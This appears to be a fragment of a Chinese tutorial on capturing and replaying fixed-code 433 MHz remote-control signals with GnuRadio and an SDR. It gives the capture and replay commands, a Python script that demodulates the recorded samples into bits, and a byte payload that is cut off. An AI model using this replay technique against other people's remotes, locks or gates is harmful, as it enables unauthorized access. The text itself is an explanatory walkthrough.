GnuRadio Hacking①：使用GnuRadio+SDR破解固定码无线遥控

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osmocom_fft -F -f 433e6 -s 4e6

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gqrx

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wget http://www.0xroot.cn/SDR/signal-record.grc

gnuradio-companion signal-record.grc

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wget http://www.0xroot.cn/SDR/signal-replay.grc

gnuradio-companion signal-replay.grc

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inspectrum key.raw

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s = ''

a = [0.333033, 0.326189, 0.0332124, 0.388094, 0.326704, 0.0154539, 0.322883, 0.0270275, 0.0150091, 0.443235, 0.362946, 0.027745, 0.430879, 0.443824, 0.0277048, 0.330736, 0.0290668, 0.0133217, 0.376686, 0.0123277, 0.00931546, 0.446231, 0.397617, 0.0162406, 0.447861, 0.0050071, 0.0109479, 0.389289, 0.0271959, 0.0138626, 0.32109, 0.0268736, 0.0129828, 0.401142, 0.326009, 0.0303488, 0.379368, 0.0229494, 0.0134011, 0.318115, 0.346288, 0.017666, 0.333818, 0.326769, 0.0141554, 0.341832, 0.0291055, 0.0153984, 0.446665, 0.399975, 0.024566, 0.316297, 0.0159851, 0.010876, 0.428384, 0.444201, 0.0214323, 0.376211, 0.00628675, 0.0105036, 0.44565, 0.0195615, 0.012549, 0.445242, 0.366523, 0.0225733, 0.324775, 0.0192127, 0.0134437, 0.318991, 0.381386, 0.0149852, 0.00882163, 0.447015]

for i in a:

   if i > 0.1:

       s +='1'

   else:

       s +='0'

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python test.py

 11011010011011010010011010010010011010011011010011010011010010011010011001

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pip install bitstring`

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python

import bitstring

bitstring.BitArray(bin='11011010011011010010011010010010011010011011010011010011010010011010011001').tobytes()

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Payload: \x36\x9b\x49\xa4\x9a\x6d\x34\xd2\x69\x9